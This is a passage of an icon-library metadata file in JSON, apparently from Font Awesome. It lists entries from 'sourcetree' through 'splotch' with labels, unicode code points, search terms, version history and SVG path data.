0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"
      }
    },
    "free": ["brands"]
  },
  "sourcetree": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7d3",
    "label": "Sourcetree",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"
      }
    },
    "free": ["brands"]
  },
  "spa": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bb"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flora", "massage", "mindfulness", "plant", "wellness"]
    },
    "styles": ["solid"],
    "unicode": "f5bb",
    "label": "Spa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.1 235.3c33.7 20.7 62.9 48.1 85.8 80.5c7 9.9 13.4 20.3 19.1 31c5.7-10.8 12.1-21.1 19.1-31c22.9-32.4 52.1-59.8 85.8-80.5C437.6 207.8 490.1 192 546 192h9.9c11.1 0 20.1 9 20.1 20.1C576 360.1 456.1 480 308.1 480H288 267.9C119.9 480 0 360.1 0 212.1C0 201 9 192 20.1 192H30c55.9 0 108.4 15.8 153.1 43.3zM301.5 37.6c15.7 16.9 61.1 71.8 84.4 164.6c-38 21.6-71.4 50.8-97.9 85.6c-26.5-34.8-59.9-63.9-97.9-85.6c23.2-92.8 68.6-147.7 84.4-164.6C278 33.9 282.9 32 288 32s10 1.9 13.5 5.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.1 235.3c33.7 20.7 62.9 48.1 85.8 80.5c7 9.9 13.4 20.3 19.1 31c5.7-10.8 12.1-21.1 19.1-31c22.9-32.4 52.1-59.8 85.8-80.5C437.6 207.8 490.1 192 546 192h9.9c11.1 0 20.1 9 20.1 20.1C576 360.1 456.1 480 308.1 480H288 267.9C119.9 480 0 360.1 0 212.1C0 201 9 192 20.1 192H30c55.9 0 108.4 15.8 153.1 43.3zM301.5 37.6c15.7 16.9 61.1 71.8 84.4 164.6c-38 21.6-71.4 50.8-97.9 85.6c-26.5-34.8-59.9-63.9-97.9-85.6c23.2-92.8 68.6-147.7 84.4-164.6C278 33.9 282.9 32 288 32s10 1.9 13.5 5.6z"
      }
    },
    "free": ["solid"]
  },
  "space-awesome": {
    "changes": ["6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["adventure", "rocket", "ship", "shuttle"]
    },
    "styles": ["brands"],
    "unicode": "e5ac",
    "label": "Space Awesome",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 256H128V512H0V352H32V320H64V288H96V256zM512 352V512H384V256H416V288H448V320H480V352H512zM320 64H352V448H320V416H192V448H160V64H192V32H224V0H288V32H320V64zM288 128H224V192H288V128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 256H128V512H0V352H32V320H64V288H96V256zM512 352V512H384V256H416V288H448V320H480V352H512zM320 64H352V448H320V416H192V448H160V64H192V32H224V0H288V32H320V64zM288 128H224V192H288V128z"
      }
    },
    "free": ["brands"]
  },
  "spaghetti-monster-flying": {
    "aliases": {
      "names": ["pastafarianism"],
      "unicodes": {
        "secondary": ["10f67b"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agnosticism", "atheism", "flying spaghetti monster", "fsm"]
    },
    "styles": ["solid"],
    "unicode": "f67b",
    "label": "Spaghetti Monster Flying",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 64a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 0c0 16.2-6 31.1-16 42.3l15.6 31.2c18.7-6 39.9-9.5 64.4-9.5s45.8 3.5 64.4 9.5L400 106.3C390 95.1 384 80.2 384 64c0-35.3 28.7-64 64-64s64 28.7 64 64s-28.7 64-64 64c-1.7 0-3.4-.1-5.1-.2L427.8 158c21.1 13.6 37.7 30.2 51.4 46.4c7.1 8.3 13.5 16.6 19.3 24l1.4 1.8c6.3 8.1 11.6 14.8 16.7 20.4C527.3 262.3 532.7 264 536 264c2.5 0 4.3-.6 7.1-3.3c3.7-3.5 7.1-8.8 12.5-17.4l.6-.9c4.6-7.4 11-17.6 19.4-25.7c9.7-9.3 22.9-16.7 40.4-16.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-2.5 0-4.3 .6-7.1 3.3c-3.7 3.5-7.1 8.8-12.5 17.4l-.6 .9c-4.6 7.4-11 17.6-19.4 25.7c-9.7 9.3-22.9 16.7-40.4 16.7c-18.5 0-32.9-8.5-44.3-18.6c-3.1 4-6.6 8.3-10.5 12.7c1.4 4.3 2.8 8.5 4 12.5c.9 3 1.8 5.8 2.6 8.6c3 9.8 5.5 18.2 8.6 25.9c3.9 9.8 7.4 15.4 10.8 18.5c2.6 2.4 5.9 4.3 12.8 4.3c8.7 0 16.9-4.2 33.7-13.2c15-8 35.7-18.8 62.3-18.8c13.3 0 24 10.7 24 24s-10.7 24-24 24c-13.4 0-24.7 5.2-39.7 13.2c-1 .6-2.1 1.1-3.2 1.7C559.9 414 541.4 424 520 424c-18.4 0-33.6-6.1-45.5-17.2c-11.1-10.3-17.9-23.7-22.7-36c-3.6-9-6.7-19.1-9.5-28.5c-16.4 12.3-36.1 23.6-58.9 31.3c3.6 10.8 8.4 23.5 14.4 36.2c7.5 15.9 16.2 30.4 25.8 40.5C433 460.5 441.2 464 448 464c13.3 0 24 10.7 24 24s-10.7 24-24 24c-25.2 0-45-13.5-59.5-28.8c-14.5-15.4-25.7-34.9-34.2-53c-8-17-14.1-33.8-18.3-46.9c-5.2 .4-10.6 .6-16 .6s-10.8-.2-16-.6c-4.2 13-10.3 29.9-18.3 46.9c-8.5 18.1-19.8 37.6-34.2 53C237 498.5 217.2 512 192 512c-13.3 0-24-10.7-24-24s10.7-24 24-24c6.8 0 15-3.5 24.5-13.7c9.5-10.1 18.3-24.6 25.8-40.5c5.9-12.6 10.7-25.4 14.4-36.2c-22.8-7.7-42.5-19-58.9-31.3c-2.9 9.4-6 19.5-9.5 28.5c-4.8 12.2-11.6 25.6-22.7 36C153.6 417.9 138.4 424 120 424c-21.4 0-39.9-10-53.1-17.1l0 0c-1.1-.6-2.2-1.2-3.2-1.7c-15-8-26.3-13.2-39.7-13.2c-13.3 0-24-10.7-24-24s10.7-24 24-24c26.6 0 47.3 10.8 62.3 18.8c16.8 9 25 13.2 33.7 13.2c6.8 0 10.2-1.9 12.8-4.3c3.4-3.2 7-8.8 10.8-18.5c3-7.7 5.6-16.1 8.6-25.9c.8-2.7 1.7-5.6 2.6-8.6c1.2-4 2.6-8.2 4-12.5c-3.9-4.5-7.4-8.8-10.5-12.7C136.9 303.5 122.5 312 104 312c-17.5 0-30.7-7.4-40.4-16.7c-8.4-8.1-14.8-18.3-19.4-25.7l-.6-.9c-5.4-8.6-8.8-13.9-12.5-17.4c-2.8-2.7-4.6-3.3-7.1-3.3c-13.3 0-24-10.7-24-24s10.7-24 24-24c17.5 0 30.7 7.4 40.4 16.7c8.4 8.1 14.8 18.3 19.4 25.7l.6 .9c5.4 8.6 8.8 13.9 12.5 17.4c2.8 2.7 4.6 3.3 7.1 3.3c3.3 0 8.7-1.7 19.4-13.4c5.1-5.6 10.4-12.3 16.7-20.4l1.4-1.8c5.8-7.4 12.2-15.7 19.3-24c13.8-16.2 30.3-32.8 51.4-46.4l-15.1-30.2c-1.7 .1-3.4 .2-5.1 .2c-35.3 0-64-28.7-64-64s28.7-64 64-64s64 28.7 64 64zm208 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 64a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 0c0 16.2-6 31.1-16 42.3l15.6 31.2c18.7-6 39.9-9.5 64.4-9.5s45.8 3.5 64.4 9.5L400 106.3C390 95.1 384 80.2 384 64c0-35.3 28.7-64 64-64s64 28.7 64 64s-28.7 64-64 64c-1.7 0-3.4-.1-5.1-.2L427.8 158c21.1 13.6 37.7 30.2 51.4 46.4c7.1 8.3 13.5 16.6 19.3 24l1.4 1.8c6.3 8.1 11.6 14.8 16.7 20.4C527.3 262.3 532.7 264 536 264c2.5 0 4.3-.6 7.1-3.3c3.7-3.5 7.1-8.8 12.5-17.4l.6-.9c4.6-7.4 11-17.6 19.4-25.7c9.7-9.3 22.9-16.7 40.4-16.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-2.5 0-4.3 .6-7.1 3.3c-3.7 3.5-7.1 8.8-12.5 17.4l-.6 .9c-4.6 7.4-11 17.6-19.4 25.7c-9.7 9.3-22.9 16.7-40.4 16.7c-18.5 0-32.9-8.5-44.3-18.6c-3.1 4-6.6 8.3-10.5 12.7c1.4 4.3 2.8 8.5 4 12.5c.9 3 1.8 5.8 2.6 8.6c3 9.8 5.5 18.2 8.6 25.9c3.9 9.8 7.4 15.4 10.8 18.5c2.6 2.4 5.9 4.3 12.8 4.3c8.7 0 16.9-4.2 33.7-13.2c15-8 35.7-18.8 62.3-18.8c13.3 0 24 10.7 24 24s-10.7 24-24 24c-13.4 0-24.7 5.2-39.7 13.2c-1 .6-2.1 1.1-3.2 1.7C559.9 414 541.4 424 520 424c-18.4 0-33.6-6.1-45.5-17.2c-11.1-10.3-17.9-23.7-22.7-36c-3.6-9-6.7-19.1-9.5-28.5c-16.4 12.3-36.1 23.6-58.9 31.3c3.6 10.8 8.4 23.5 14.4 36.2c7.5 15.9 16.2 30.4 25.8 40.5C433 460.5 441.2 464 448 464c13.3 0 24 10.7 24 24s-10.7 24-24 24c-25.2 0-45-13.5-59.5-28.8c-14.5-15.4-25.7-34.9-34.2-53c-8-17-14.1-33.8-18.3-46.9c-5.2 .4-10.6 .6-16 .6s-10.8-.2-16-.6c-4.2 13-10.3 29.9-18.3 46.9c-8.5 18.1-19.8 37.6-34.2 53C237 498.5 217.2 512 192 512c-13.3 0-24-10.7-24-24s10.7-24 24-24c6.8 0 15-3.5 24.5-13.7c9.5-10.1 18.3-24.6 25.8-40.5c5.9-12.6 10.7-25.4 14.4-36.2c-22.8-7.7-42.5-19-58.9-31.3c-2.9 9.4-6 19.5-9.5 28.5c-4.8 12.2-11.6 25.6-22.7 36C153.6 417.9 138.4 424 120 424c-21.4 0-39.9-10-53.1-17.1l0 0c-1.1-.6-2.2-1.2-3.2-1.7c-15-8-26.3-13.2-39.7-13.2c-13.3 0-24-10.7-24-24s10.7-24 24-24c26.6 0 47.3 10.8 62.3 18.8c16.8 9 25 13.2 33.7 13.2c6.8 0 10.2-1.9 12.8-4.3c3.4-3.2 7-8.8 10.8-18.5c3-7.7 5.6-16.1 8.6-25.9c.8-2.7 1.7-5.6 2.6-8.6c1.2-4 2.6-8.2 4-12.5c-3.9-4.5-7.4-8.8-10.5-12.7C136.9 303.5 122.5 312 104 312c-17.5 0-30.7-7.4-40.4-16.7c-8.4-8.1-14.8-18.3-19.4-25.7l-.6-.9c-5.4-8.6-8.8-13.9-12.5-17.4c-2.8-2.7-4.6-3.3-7.1-3.3c-13.3 0-24-10.7-24-24s10.7-24 24-24c17.5 0 30.7 7.4 40.4 16.7c8.4 8.1 14.8 18.3 19.4 25.7l.6 .9c5.4 8.6 8.8 13.9 12.5 17.4c2.8 2.7 4.6 3.3 7.1 3.3c3.3 0 8.7-1.7 19.4-13.4c5.1-5.6 10.4-12.3 16.7-20.4l1.4-1.8c5.8-7.4 12.2-15.7 19.3-24c13.8-16.2 30.3-32.8 51.4-46.4l-15.1-30.2c-1.7 .1-3.4 .2-5.1 .2c-35.3 0-64-28.7-64-64s28.7-64 64-64s64 28.7 64 64zm208 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "speakap": {
    "changes": ["5.0.0", "5.4.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f3",
    "label": "Speakap",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"
      }
    },
    "free": ["brands"]
  },
  "speaker-deck": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83c",
    "label": "Speaker Deck",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"
      }
    },
    "free": ["brands"]
  },
  "spell-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f891"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dictionary", "edit", "editor", "grammar", "text"]
    },
    "styles": ["solid"],
    "unicode": "f891",
    "label": "Spell Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 0C99.1 0 87.4 7.8 82.5 19.7l-66.7 160-13.3 32c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L66.7 224h90.7l5.1 12.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-13.3-32-66.7-160C136.6 7.8 124.9 0 112 0zm18.7 160H93.3L112 115.2 130.7 160zM256 32v96 96c0 17.7 14.3 32 32 32h80c44.2 0 80-35.8 80-80c0-23.1-9.8-43.8-25.4-58.4c6-11.2 9.4-24 9.4-37.6c0-44.2-35.8-80-80-80H288c-17.7 0-32 14.3-32 32zm96 64H320V64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-32 64h32 16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320V160zM566.6 310.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L352 434.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l192-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 0C99.1 0 87.4 7.8 82.5 19.7l-66.7 160-13.3 32c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L66.7 224h90.7l5.1 12.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-13.3-32-66.7-160C136.6 7.8 124.9 0 112 0zm18.7 160H93.3L112 115.2 130.7 160zM256 32v96 96c0 17.7 14.3 32 32 32h80c44.2 0 80-35.8 80-80c0-23.1-9.8-43.8-25.4-58.4c6-11.2 9.4-24 9.4-37.6c0-44.2-35.8-80-80-80H288c-17.7 0-32 14.3-32 32zm96 64H320V64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-32 64h32 16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320V160zM566.6 310.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L352 434.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l192-192z"
      }
    },
    "free": ["solid"]
  },
  "spider": {
    "aliases": {
      "unicodes": {
        "composite": ["1f577"],
        "secondary": ["10f717"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arachnid",
        "bug",
        "charlotte",
        "crawl",
        "eight",
        "halloween",
        "insect",
        "spider"
      ]
    },
    "styles": ["solid"],
    "unicode": "f717",
    "label": "Spider",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M158.4 32.6c4.8-12.4-1.4-26.3-13.8-31s-26.3 1.4-31 13.8L81.1 100c-7.9 20.7-3 44.1 12.7 59.7l57.4 57.4L70.8 190.3c-2.4-.8-4.3-2.7-5.1-5.1L46.8 128.4C42.6 115.8 29 109 16.4 113.2S-3 131 1.2 143.6l18.9 56.8c5.6 16.7 18.7 29.8 35.4 35.4L116.1 256 55.6 276.2c-16.7 5.6-29.8 18.7-35.4 35.4L1.2 368.4C-3 381 3.8 394.6 16.4 398.8s26.2-2.6 30.4-15.2l18.9-56.8c.8-2.4 2.7-4.3 5.1-5.1l80.4-26.8L93.7 352.3C78.1 368 73.1 391.4 81.1 412l32.5 84.6c4.8 12.4 18.6 18.5 31 13.8s18.5-18.6 13.8-31l-32.5-84.6c-1.1-3-.4-6.3 1.8-8.5L160 353.9c1 52.1 43.6 94.1 96 94.1s95-41.9 96-94.1l32.3 32.3c2.2 2.2 2.9 5.6 1.8 8.5l-32.5 84.6c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8L430.9 412c7.9-20.7 3-44.1-12.7-59.7l-57.4-57.4 80.4 26.8c2.4 .8 4.3 2.7 5.1 5.1l18.9 56.8c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-18.9-56.8c-5.6-16.7-18.7-29.8-35.4-35.4L395.9 256l60.5-20.2c16.7-5.6 29.8-18.7 35.4-35.4l18.9-56.8c4.2-12.6-2.6-26.2-15.2-30.4s-26.2 2.6-30.4 15.2l-18.9 56.8c-.8 2.4-2.7 4.3-5.1 5.1l-80.4 26.8 57.4-57.4c15.6-15.6 20.6-39 12.7-59.7L398.4 15.4C393.6 3 379.8-3.2 367.4 1.6s-18.5 18.6-13.8 31l32.5 84.6c1.1 3 .4 6.3-1.8 8.5L336 174.1V160c0-31.8-18.6-59.3-45.5-72.2c-9.1-4.4-18.5 3.3-18.5 13.4V112c0 8.8-7.2 16-16 16s-16-7.2-16-16V101.2c0-10.1-9.4-17.7-18.5-13.4C194.6 100.7 176 128.2 176 160v14.1l-48.3-48.3c-2.2-2.2-2.9-5.6-1.8-8.5l32.5-84.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M158.4 32.6c4.8-12.4-1.4-26.3-13.8-31s-26.3 1.4-31 13.8L81.1 100c-7.9 20.7-3 44.1 12.7 59.7l57.4 57.4L70.8 190.3c-2.4-.8-4.3-2.7-5.1-5.1L46.8 128.4C42.6 115.8 29 109 16.4 113.2S-3 131 1.2 143.6l18.9 56.8c5.6 16.7 18.7 29.8 35.4 35.4L116.1 256 55.6 276.2c-16.7 5.6-29.8 18.7-35.4 35.4L1.2 368.4C-3 381 3.8 394.6 16.4 398.8s26.2-2.6 30.4-15.2l18.9-56.8c.8-2.4 2.7-4.3 5.1-5.1l80.4-26.8L93.7 352.3C78.1 368 73.1 391.4 81.1 412l32.5 84.6c4.8 12.4 18.6 18.5 31 13.8s18.5-18.6 13.8-31l-32.5-84.6c-1.1-3-.4-6.3 1.8-8.5L160 353.9c1 52.1 43.6 94.1 96 94.1s95-41.9 96-94.1l32.3 32.3c2.2 2.2 2.9 5.6 1.8 8.5l-32.5 84.6c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8L430.9 412c7.9-20.7 3-44.1-12.7-59.7l-57.4-57.4 80.4 26.8c2.4 .8 4.3 2.7 5.1 5.1l18.9 56.8c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-18.9-56.8c-5.6-16.7-18.7-29.8-35.4-35.4L395.9 256l60.5-20.2c16.7-5.6 29.8-18.7 35.4-35.4l18.9-56.8c4.2-12.6-2.6-26.2-15.2-30.4s-26.2 2.6-30.4 15.2l-18.9 56.8c-.8 2.4-2.7 4.3-5.1 5.1l-80.4 26.8 57.4-57.4c15.6-15.6 20.6-39 12.7-59.7L398.4 15.4C393.6 3 379.8-3.2 367.4 1.6s-18.5 18.6-13.8 31l32.5 84.6c1.1 3 .4 6.3-1.8 8.5L336 174.1V160c0-31.8-18.6-59.3-45.5-72.2c-9.1-4.4-18.5 3.3-18.5 13.4V112c0 8.8-7.2 16-16 16s-16-7.2-16-16V101.2c0-10.1-9.4-17.7-18.5-13.4C194.6 100.7 176 128.2 176 160v14.1l-48.3-48.3c-2.2-2.2-2.9-5.6-1.8-8.5l32.5-84.6z"
      }
    },
    "free": ["solid"]
  },
  "spinner": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f110"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["circle", "loading", "progress"]
    },
    "styles": ["solid"],
    "unicode": "f110",
    "label": "Spinner",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 416a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM48 304a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm464-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM142.9 437A48 48 0 1 0 75 369.1 48 48 0 1 0 142.9 437zm0-294.2A48 48 0 1 0 75 75a48 48 0 1 0 67.9 67.9zM369.1 437A48 48 0 1 0 437 369.1 48 48 0 1 0 369.1 437z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 416a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM48 304a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm464-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM142.9 437A48 48 0 1 0 75 369.1 48 48 0 1 0 142.9 437zm0-294.2A48 48 0 1 0 75 75a48 48 0 1 0 67.9 67.9zM369.1 437A48 48 0 1 0 437 369.1 48 48 0 1 0 369.1 437z"
      }
    },
    "free": ["solid"]
  },
  "splotch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bc"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Ink", "blob", "blotch", "glob", "stain"]
    },
    "styles": ["solid"],
    "unicode": "f5bc",
    "label": "Splotch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
